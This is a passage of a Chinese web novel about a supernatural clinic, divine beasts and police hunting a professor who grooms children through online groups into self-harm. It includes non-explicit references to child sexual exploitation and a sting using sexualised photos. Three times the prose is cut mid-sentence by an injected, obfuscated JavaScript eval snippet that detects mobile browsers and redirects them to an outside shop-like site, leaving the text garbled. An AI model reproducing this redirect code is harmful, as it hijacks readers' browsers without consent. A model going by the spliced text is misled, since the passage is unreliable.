“里面有我辖区里的事,我得回去帮师父处理。”春渐满瞅见画面中有熟悉的建筑,当即认出。 “少了你,他也会有其它得用之人,何必上赶着?”独孤尽最见不得春渐满给自己找事情做,这显得他太游手好闲了。 “是你让神兽接触的人,由我来才更方便。”春渐满知道受了“怪奇诊所”治疗的罪犯会直接和盘托出自己的罪行,这种情况让人忍不住怀疑里头是不是有更多隐情,不熟悉的警方反而会花更多精力去处理,而他不同,知道内情,直接让人记录下罪犯阐述的事实就能结案。 “满哥,玄门不给力,还得由民间自发传播……”如果能让人人心里都悬着一把利刃,那谁要干坏事前都得想一想,仔细考虑。 “法律尚且无法约束所有人……”春渐满可不想让“怪奇诊所”像个邪教一样存在在大家心里。 “法律是明面上的,而‘怪奇诊所’是暗地里的,与其它信仰不同,它是现世报,只要这个恶够过分,我们就一定会发现,让犯罪者不得善终。”独孤尽摇了摇手指,“我知道你的意思,可如果大家心里没有恶念,或者升起了恶念但不会去做,这些人就该得到庇护,那些恶人就该得到惩罚。” “太过压抑会适得其反。” “你觉得‘怪奇诊所’会太压着世人吗?只有恶者才会觉得压抑,而善者则会觉得生活在安全快乐的世界里。”独孤尽抿了一口酒,他就是比较理想化,现在他是上天,他就要这么治理世人。 “独孤尽,有光就有暗,你想要消灭暗是不可能的。”春渐满这会儿不急着下去帮忙了,他非得跟独孤尽论一论,他抢过独孤尽手中的酒杯,独自将里面的酒饮尽。 “你干嘛抢我的酒?!”独孤尽甩了一瓶汽水给春渐满,“我给你准备了汽水。” “谁爱喝小孩子喝的,你都能喝酒,我为何不能喝?”春渐满冷哼一声,“给我添上。” 独孤尽心念一转,直接把酒瓶里换上汽水,给春渐满添了一杯。 “这杯怎么冒气泡?” “这是啤酒。” “紫色的啤酒?”春渐满拿着酒杯闻了闻,一股甜润的葡萄味。 “新制法,没尝过吧?”独孤尽故意露出洋洋得意的姿态,这才引得春渐满尝了一口。 “这分明是葡萄汽水!” “这是葡萄啤酒。”独孤尽一本正经。 “你颠倒黑白!” “宝贝,我问你,我颠倒黑白的时候你生气吗?”独孤尽拿回酒杯,饮了一口,遮掉他唇边浮起的笑意。 “自然生气。”春渐满眉眼都是怒意。 “那你有气到想把我杀了吗?” “谁会因为这点小事就杀人?!” “你不会,不代表别人不会,而且,这样的人可能会想尽办法,找法律的漏洞,也许真能逃脱制裁。”独孤尽转动酒杯,看着里面澄澈的酒液温和地映照出他的面容,“但只要有‘怪奇诊所’,他就永远也不可能逃脱制裁。” “试想一下,如果人们一旦做出极端的恶事且必定受到惩罚,那世间是否会变得祥和很多?”独孤尽又笑了一下,“我并非要将所有人都变成良善之辈,这不现实,有明就有暗,这是不可消弭的,但只要有‘怪奇诊所’在,任何人在行恶之前都会再三思索,且……绝不可能善终,这对受害者和受害者家属也会是最好的安慰。” “并不是所有受害者和受害者家属都要这种正义的……”春渐满满脸复杂,他办过太多案件,有很多人,很多受害者和家属要的不过是金钱补偿,对他们而言,什么发自内心的道歉都比不上钱来得重要。 当然,也有只要罪犯得到严惩的,可金钱的赔偿对大家来说,绝对不可忽视。 “我且问你,如若罪犯是真心实意道歉,他会不会给予受害者和受害者家属赔偿?” “如果罪犯真的意识到自己的错误,肯定会赔偿。” “如果这个罪犯自身没有经济能力赔偿,但他真心意识到自己的错误,也会倾尽全力筹钱赔偿,或者做出其它补偿,可如果罪犯只是轻飘飘一句道歉,却没有其它任何补偿,他必然不可能是真心的。”独孤尽放下酒杯,干脆拿了汽水瓶,喝了两口。 “现在汽水瓶里装的是酒?”春渐满伸手想要夺独孤尽的瓶子。 独孤尽佯装躲避,最后还是把汽水瓶给了春渐满,春渐满喝了一口,发现里面仍旧是葡萄汽水。 “你又骗我!” “我怎么骗你了,我拿着汽水瓶喝的自然是汽水。”独孤尽眼里全是笑意。 “那你现在会想杀我吗?” “想!但我不会真的杀你。”春渐满现在知道独孤尽要跟他说的是什么了。 “有一些人,会产生极其强烈的恶意值,但是他们不会做极端行为,而是会用一些小事不断恶心你,让你无法好好生活,直到受不了自暴自弃或者自寻死路,法律可能会在一定程度上给予惩罚,但‘怪奇诊所’不一样,会凭借恶意值,给予惩罚。” 剩下的话不用独孤尽再说,春渐满已经明白独孤尽想要让人们心里都存在一个“怪奇诊所”究竟有何意义。 可很快,就有事情打了独孤尽的脸。 距离独孤尽和春渐满争执已经过去了一个春秋,现在上至百岁老人,下至三岁小儿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689056|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都知道了“怪奇诊所”,全球的犯罪率都大大下降了,尤其是在东亚地区,效果尤其显著,毕竟比起东、西欧地区,那些疯狂的暴行者,东亚地区的人大部分还是为了自我利益而行恶事,毫无理智的暴行者仍是少数。 “怪奇诊所”虽能提前感知到极其浓厚的恶意,组织犯罪发生,可面对一些明明施暴却觉得自己在行善的人,是无法直接感知到罪恶值的。 一件事物存在久了,总会被人发现破解之法,“怪奇诊所”虽然作为至高无上的存在,可罪犯仍旧在一次次对比中,发现了一些破绽。 只要他们给手下洗脑,告诉他们是在行善积德,且自己也坚信自己是在行善,那“怪奇诊所”就不会突然出现,给他们制裁。 这样一个犯罪团伙就这样不生不息在民间逐渐强大起来。 会发现此事甚至是因为独孤尽的散漫贪玩,他在“怪奇诊所”的运行逐渐步入正轨后就愈发闲散,重新又组建了一个部门,专门收集那些极浅的恶意来观看着玩。 因为这些极浅的恶意只是突然升腾出来的,多半就是大家闹着玩,也就容易看到很多趣事。 毕竟……真的成为上天之后,独孤尽才发现先前忙碌的自己有多幸福,起码不会因为空闲时间太多而无所事事,当真是闲出蛋来了。 那是一个再寻常不过的午后,他又一次观看打打闹闹的人间小短剧,却在这群短剧中忽然发现了一个不怎么好笑的。 不仅不怎么好笑,甚至瘆人。 那是一个年幼的女童,她正在自己的身上放血,准确说,是用利器在自己的皮肤上作画,她的恶意不是来自教给她这个方式自残的人,也不是来自家庭的不幸,她的恶意很浅,只是对利器的恶意。 利器割破皮肤自然是疼痛的,她只是讨厌利器带给她的疼痛,一瞬之后,就是用欣赏的眼光看着被她划得鲜血淋漓的手臂,那上面赫然雕刻出了一朵血红的花。 她冷静地用纸巾擦干鲜血,随后用手机拍了一张照,发在群里,给大家展示她的杰作。 独孤尽也是在一瞬就定位到了女童所在的位置,他没跟任何人交代,直接隐身去了女童家。 女童似乎天生有异于常人的感知力,她敏锐地看了一眼独孤尽出现的位置,见那儿什么都没有才重新痴痴地翻起手机,看群里众人对她的恭维。 独孤尽拼命感知,连刚才那一丁点儿的恶意都感知不到了。 独孤尽在一旁等到女童熟睡了,才悄悄拿起她的手机,解锁后自行扫了码,可进群居然还要回答问题。 他填了好几次答案都不对,似乎有特殊的暗号。 究竟是谁要荼毒幼童……还能掩饰得这般好,让神兽们都无法察觉! 着实可恶! 感知处的神兽们忽然察觉到一股浓重的杀意,仔细一瞧,竟然是它们的主人。 天呐,究竟还有谁能惹到它们的主人?! 160. 众神兽归位 神兽赶来时,独孤尽已经冷着一张脸回来跟春渐满商议起了该如何处理此事。 此事比先前棘手的地方在于,没有恶意。 伤人于无形毫不带恶意这实是有点儿太难查了,如果是这种情况,让警方来查反而会更方便,毕竟是通过网络,只要人在国内,凭借网警的力量,应该能查到源头。 “不可饶恕,这么侵害未成年人,绝不可饶恕。”独孤尽的怒意值达到了顶峰,他见多了仇杀,或者因为自己的一己私欲泄愤,可这种毫无缘由随意肆虐的恶意却又能全然不泄露一点恶意的,着实让人恶心。 “我已经跟师父说了,让他立案,即刻开始调查。”春渐满还提供了独孤尽用非正常手段获得的群二维码。 毕竟,他进不了群,可网警应该对这方面有特殊手段,可以知道进群需要的回答。 “为什么总有人世人这么爱欺凌孩童、弱小,这是人性吗?”独孤尽叹了口气,他早该想到任何事情都不可能是完美的,就像他的“怪奇诊所”,如果一直停滞不前,那总会被世人摸透,犯罪者也会一再升级,这样一来,他倒是不知道“怪奇诊所”的存在是好事还是坏事了。 “别胡思乱想,就算没有‘怪奇诊所’,这些要行恶的人也会行恶。”春渐满只看了独孤尽一眼就知道他在想什么,有的时候上位者反而更容易内耗,容易钻牛角尖。 因为在大家还在为生计奔忙的时候,他们却有大把空闲时间思考尖锐问题。 “这次的事件,你也下凡来一起帮忙。”春渐满决定给独孤尽找点事儿做,绝对不能让他再这么闲下去了。 “我自然要帮忙,我要亲手将那家伙绳之以法!”当然,他没说的是,在绳之以法之前,他得先动用一下私刑。 独孤尽见神兽们都过来了,他摆摆手,“不怪你们没感知到,这次的犯罪者太混账!” “主人,我等也会加紧排查!”神兽们虽然没被问罪,可它们自从开始着手惩治罪恶,就已经无法袖手旁观了,现在各个嫉恶如仇,除了像九尾狐就这样自我意识极高的还没被同化外,其它的神兽多多少少已经像仙兽一样,哪怕没有独孤尽约束,它们也不会再做出伤害人类的事了。 “去吧,有进展及时告知我。”独孤尽点了点头,三方努力,想必对方很快就无法笑出来了。 —————————— 某座小学二年级的教室里。 “袁冰莹,跟老师出来一下。” “冰莹,老师怎么突然找你,你作业没写吗?” “不知道。”袁冰莹摇了摇头,她从昨天开始就觉得自己周身怪怪的,总觉得被什么盯上了,让她毛毛的。 尤其是……她总有种自己干了坏事的感觉…… 因为瞒着父母、老师和朋友做了她觉得很酷的事情。 前不久她在上补习课的时候,看到卫生间的门上贴了小广告,她本来很有防骗意识,但是一时好奇,还是添加了上面的群号,进群后,她发现里面的大家都好有趣,大家在研究一种新型的行为艺术。 群里的管理员说这种用小刀在身上刻画的艺术已经流行了一段时间了,只不过,很多人都不理解,所以绝对不能告诉自己的父母、老师和朋友。 因为世人都很迂腐,还觉得身体发肤受之父母,可自己的身体就是属于自己的,为什么现在大家都接受剪头发了呢?因为有先人开创了先河,破除了这一条,那我们也能成为先河,破除这些陈旧的观念,让大家见识到这种新的行为艺术有多美。 群里并没有很多鲜血淋漓的照片,有的都是擦干鲜血,但伤口还没结痂时的照片,有的人画功不错,能在小臂内侧画上一朵鲜红的玫瑰花,也有人画小动物的,各种各样,但是大家好像卯足了劲一样,就要看谁刻得最好,刻得最多一样。 但因为不能让别人发现这点,很多人都会刻在比较隐秘的部位,比如胸口,或者大腿。 如果袁冰莹是个大人,就会知道这个群不仅涉嫌了血腥暴力、教唆未成年人、还传播了□□…… 这种群在任何一个有常识的正常大人眼里都是存在问题的,即便是那些有特殊癖好的,也会知道这样的群不该存在。 可孩子们的世界观还没建立好,他们很容易被蛊惑,没办法分辨是非,是最好的祭品。 —————————— 独孤尽看着警方调查出来的证据,这些群里的记录已经被另外存了起来,上面的言语太过邪恶,让人发指,甚至有教唆幼童碾碎自己的某些器官的,还有让他们还未成熟的身体过早体验圣果的。 “刻不容缓成立专案组,我们势必在最快的时间内找到源头。”曹鸿盛脸色很差,他已经很久没被徒弟求助过了,他知道每次徒弟找他都是大案子,可这个案子的性质太过恶劣,饶是他都无法绷住脸色。 “来不及了,得在不打草惊蛇的情况下一边神不知鬼不觉禁了这些群,一边找源头,现在除了最初的源头之外,很多人都被蛊惑了,自发组建了同样的群,在传播这些。”独孤尽敲了敲重点,只是把源头抓出来已经没用了。 “你那边能帮上忙吗?”曹鸿盛看向独孤尽,经过一段时间的合作,曹鸿盛已经对“怪奇诊所”彻底信任了。 “我会让神兽们先去给受到精神创伤的孩童进行治疗。”他现在唯一能做的就是让精神系的神兽趁孩童们睡觉的时候,潜入他们的精神世界,神不知鬼不觉把这段记忆抹除,并消除他们手机上的痕迹。 “不妥,如果只是治疗,那他们再次碰到,还是会被蛊惑。”春渐满不认同,他觉得一味堵没用,不能因为他们年纪小就不让他们接触恶,反而应该把恶展露在他们面前,让他们意识到不该为伍。 “那就让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689057|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学校放安全片,加强安全宣传。”曹鸿盛大手一挥。 “不行,这种时候放安全片,太打草惊蛇了,如果不能把源头那人揪出来,恐怕他还会做出什么恐怖的事。”独孤尽摇了摇头,他不能接受让这样一个不安定分子一直藏在人群里。 “你说的对,这就是一颗不定时炸弹,不知道什么时候就会爆炸,而且危害无穷。”春渐满原本还不赞同独孤尽,觉得他只是因为抓不到人不甘心,可仔细一想,就算现在以受害者为重,保护了大部分受害者,可危险始终都在,受害者又怎么可能一直安全? “必须釜底抽薪。” “既然这件事已经酝酿到这种程度,也不急在一时了,到时候这些受害者的心理治疗‘怪奇诊所’全权负责。”独孤尽自知他做出了这样的选择自然会有众多孩童继续受害,可现下没有更好的办法。 “等等,我倒是想到了个办法。”曹鸿盛忽然想到了什么,眼前一亮。 “我们是否能请求上方,要求全部断网?” “不……师父,就算我们断了网,大家接触不到网络,没办法继续传播这些,但也没办法排查出源头是谁了。”虽然断网这点不太容易打草惊蛇,毕竟谁也不可能想到会因为这种事情而全部断网。 “我有一个想法。”独孤尽看向两人,他把声音放低了。 “什么?!你要让神兽扮成孩童,让他们上传格外突破底线的照片,引出幕后之人?!”春渐满惊呼出声,他知道独孤尽在有些时候杀伐特别果断,毕竟他有着上天的冷漠,但每次见他做出这种决定时,都还是会鸡皮疙瘩一身。 “我们现在不是感知恶念无法找到他吗?那他既没恶念,难道就不会有快乐?”独孤尽不信这人当真毫无七情六欲。 “如果他真的既无恶念也无欢喜?”春渐满不免将事情想到最坏的一面。 “那倒是再请求上方,让所有人都观看容易让人心绪起伏的视频,这个时候,幕后黑手一定还是毫无波动,也能区分出来。” “既然现在没更好的办法,就按他说的来吧。”曹鸿盛一锤定音,支持了独孤尽的方案。 “神兽们有你这样的主人也不知道是它们的幸还是不幸。”春渐满无力吐槽,他想了想,“让那些粗神经的来做这件事吧。” 可不能让那些心思细腻的神兽参与,否则完事之后,肯定要传出不少流言蜚语,虽然这些话都影响不了独孤尽,但他听着刺耳。 “我会好好挑选,就辛苦满哥先留在警局,这边有什么新动态及时回来告诉我。”独孤尽没再逗留,他趁曹鸿盛没留意,悄悄勾了勾春渐满的手指,在他掌心画了个圈,就回了天上。 “众神兽归位!有特殊任务交代。”独孤尽一回天上,就立刻发出了信号。 他真得好好挑选些皮糙肉厚还粗神经的,给那混账一点颜色瞧瞧! 161. 世人的保护所 “狰、豪彘、狌狌、瞿如、猾褢……出列!”独孤尽专门挑了一些粗神经,不容易胡思乱想的神兽出来。 “你们按照3:7,变化成童男童女。”独孤尽数了数,他一共选了十只神兽,一下子冒出太多符合幕后那位恶心家伙胃口的未免太过虚假,容易被察觉,而前后冒出这么十人,容易让对方得意忘形,露出马脚。 “是,主人。”神兽们答应得倒是很爽快,可变化形态时却出问题了。 他已经很久没有见过这种低级错误,猾褢变成了个小男孩,可独孤尽一眼就认出了它的真身,毕竟那身上的鬣毛都没消下去,哪有小孩身上长了野兽毛的?! 还有狌狌,都变成个小女孩了还长着美猴王的脸,这要是小男生,独孤尽还勉强能骗自己是小孩儿喜欢齐天大圣所以故意装扮的。 “你们……给我照着镜子重新变!”独孤尽一挥手,竖了一面墙一样的镜子在它们面前,就像舞蹈房里的那种。 众神兽看着镜子整理了一下自己的造型,觉得还是挺帅的,它们又不喜欢人类,就算变化形态也要保留自己的特征,怎么看都是自己更帅。 独孤尽见大家半点改变都没,索性发了十张画像下去,“你们照着这个来变。” 这是他用AI创作出来的可爱孩童,有的因为太可爱,长得都不像人类了,他还换了指令,让AI调整成了普通情况下人类孩童的样子。 “是。”这回神兽们倒是没出岔子,毕竟,有范本在手,它们的能力又不是假的,照着变那是小菜一碟。 独孤尽这回终于满意了,他打量了一圈终于按照要求变化好的神兽们,又把一些充满某些意味的衣服发了下去,“穿上。” 这回……神兽们又两眼一摸黑了。 这都是什么东西? 布条?绳子? 这怎么穿,穿哪儿?是头绳吗?头绳的话,也太宽太长了,不是头绳的话,还能穿哪儿? 独孤尽发现了,让这些大脑像没发育的神兽帮忙,还不如让那些心思细腻的过来,即便心思细腻的可能事后需要治愈系的将它们治愈…… 可那也好过!这些粗神经的半天都领会不了他的意图! 在世间呆了数万年了!没吃过猪肉也见过猪跑吧! 怎么会连这些情趣用品都不会穿!!! 独孤尽也没脸去教神兽穿这些,毕竟,现在神兽已经变化成了童男童女,他面对着这样的形态,实在没法教。 思来想去,独孤尽还是把九尾狐叫了过来。 “阿尽……你让我去给它们几个做辅导?!”九尾狐极其不情愿,她宁愿去田埂里给产后的母猪护理,也不愿意教这几个木头瓜子。 “你们的春老师不在,你作为优秀学生,该为他分担,作为半个老师,教教这些思想落后的神兽。”独孤尽振振有词。 “让我教它们还不如让我自己来呢。”九尾狐虽不情愿做那般姿态,扮演那些让人厌恶的,可比起教那几个最愚钝的神兽,她宁愿自己上阵。 “我瞧着它们几个还是值得教一教的。”独孤尽用下巴指了指不远处正在跟黑丝奋斗的豪彘,“看不出来吧,它可是豪彘。” “这只是最基本的化形术呀,阿尽你要是连这个都夸,那我岂不是能上天了呐。”九尾狐说完才想起来自己现在已经上天了,顿时一阵无语凝噎。 “去吧,相信你。”独孤尽用充满希望的眼神看着九尾狐,还顺便给了九尾狐一架相机,“别忘了拍下关键照片。” 他相信九尾狐肯定有化腐朽为神奇的能力。 在九尾狐的全力改造下,这十个孩童竟脱离了世俗,变得有点儿仙气飘飘。 “你是怎么用这些道具把它们打扮成了年画娃娃的?!”独孤尽一看两眼一摸黑,还不如先前神兽们瞎穿来得效果好。 “哈哈哈,不好意思不好意思啦,阿尽,我一时忘形,把它们当成娃娃来装扮了。”九尾狐实在见不得那么污糟的画面,不知不觉中就按照自己的审美来打扮了。 “但是照片我拍好了,你来看看呢。”九尾狐虽然半途摸鱼了,但她的专业能力超强,该完成的早就在不知不觉中完成了。 独孤尽见那些比较木讷的神兽任由九尾狐摆布,让变化出怎样的伤口都由九尾狐一句话,照片看着非常逼真,且九尾狐拍出了那种独孤尽需要的感觉。 “怎么样?”九尾狐觉得这照片用来引诱那邪恶的凡人根本不在话下,用来引诱一些邪神都绰绰有余。 独孤尽给了九尾狐一个赞赏的眼神,将相机里的照片导出存在手机里,改变了一下格式,让它们看起来像是用手机拍的。 他原本想让神兽们混入其中,把照片散布出去,当时想着这些不善于动脑的神兽看起来会更真实,像孩童一样天真,可现在……他还真不敢让它们去发照片了,毕竟,他怕他的神兽被对方忽悠进去了。 独孤尽思考再三把照片传给了春渐满,钓鱼执法还是让专业的人去做吧。 春渐满收到照片的第一时间就给独孤尽回了个电话,“你怎么拍的?这是你拍的?” “能面对面说话为什么要通过电话?”独孤尽满脑子都是春渐满嗔怒的脸,他抿了抿唇,直接瞬移到春渐满身边,“在忙?” “知道我在忙还问?”春渐满抽出枝条条件反射扫在独孤尽臂弯。 “要知道满哥一点都不想我,我就不过来了。”独孤尽握住枝条,抓在手里把玩。 “你松开!”枝条也是春渐满的一部分,这么被人抓着实在别扭,而且独孤尽还一个劲地动手动脚,是可忍孰不可忍,“别逼我动手。” “满哥这不已经动手了吗?”独孤尽干脆低头在那枝头亲了一口,这回他没抓牢,让它跑了。 “这些照片真是神兽们拍的?”春渐满还是难以相信,他翻看着这些即将变成证据的照片。 “是不是没想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689058|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神兽们的可塑性这么强?”独孤尽指了指狰幻化的那张,“可以先把这张抛出去,引一引。” “我选的也是这张。” —————————— 只是过了短短半天,聂浦就收到了一张可塑性很强的照片,他看中的自然是这照片背后的孩子。 可他仅凭直觉就看出对面不止这孩子一人,可对方赞同了他的举动,并让孩子做出这样的行为,还发了出来,这说明什么?说明对方是同道中人。 聂浦压根就没想过这会是警方的鱼钩,毕竟……上面办事那有的是讲究,必然不可能祸害小孩儿。 “有趣。”聂浦嘴角噙着一抹笑,他合上书,看了眼抱着书在校园里奔走的学生,那般朝气,青春的气息快将他淹没。 聂浦深吸了一口气,对着迎面打招呼的学生点点头。 他是最高学府里颇受学生喜爱的教授,大家都喜欢选他的课,也争着做他的学生,他的学生里也不乏有出息的人,可他就是不满足,尤其是在“怪奇诊所”出现后,无论是学生的目光还是社会上众人的目光,似乎都聚焦在“怪奇诊所”上。 他想跟“怪奇诊所”打一打,看看究竟谁更胜一筹,是他将“怪奇诊所”玩弄于股掌之中,还是“怪奇诊所”把他揪出来。 为此,聂浦进行了多番研究,甚至引导学生犯罪,来观察“怪奇诊所”。 据他发现,学生如果犯的只是小偷小摸这种问题,“怪奇诊所”根本不会找上门来,但只要事件严重,“怪奇诊所”就有办法预知,即便没法预知,在问题发生后也一定会让罪犯心甘情愿自首。 在罪犯自首前,他截胡了好几个学生,并通过自己的人脉,帮学校摆平了这些恶事,可学生的道歉态度并不是虚假的,他们是发自内心道歉,像是有什么恐怖的东西跟在屁股后头追赶他们。 越是研究,越是深入,聂浦越觉得有趣,他想要把“怪奇诊所”的真面目揭露在世人面前。 什么救世主,他才不信,天道轮回都是假的,只不过道高一尺,魔高一丈罢了,他不觉得自己比“怪奇诊所”差在哪。 很快,他就掌握了“怪奇诊所”预判的规律,这些作案的到底是学生,情感太过强烈,他试着做了一些出格的事,只因他毫无波澜,且让对方也在无知无觉中接受了恶行,“怪奇诊所”就没找上门来。 自负永远是最大的破绽,一次次的胜利让聂浦越来越自负,他反复看着手机上的那张照片,情绪不免有些高亢,可这种高亢甚至抵不过旁人赢一局游戏来得强烈,他很快恢复了平静,打算联系照片那头的人。 他很放心,只要对方看待这些也是喜悦的,是开心的,就不会被人察觉,到时候……只要他一声令下,这些以他的话为圣旨的孩童,就会抛弃生命,做出让世人骇然的事。 他倒要看看,那时候,还有谁会信“怪奇诊所”。 “怪奇诊所”将不再是世人的保护所。